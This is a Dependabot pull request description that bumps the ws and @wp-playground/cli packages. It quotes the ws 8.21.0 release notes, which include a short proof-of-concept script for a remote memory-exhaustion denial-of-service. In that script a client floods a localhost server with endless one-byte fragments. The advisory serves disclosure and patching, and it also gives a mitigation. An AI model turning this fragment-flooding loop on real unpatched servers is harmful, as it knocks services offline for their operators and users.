Bump ws and @wp-playground/cli

[dependabot]

Bumps ws and @wp-playground/cli. These dependencies needed to be updated together.
Updates ws from 8.18.3 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1
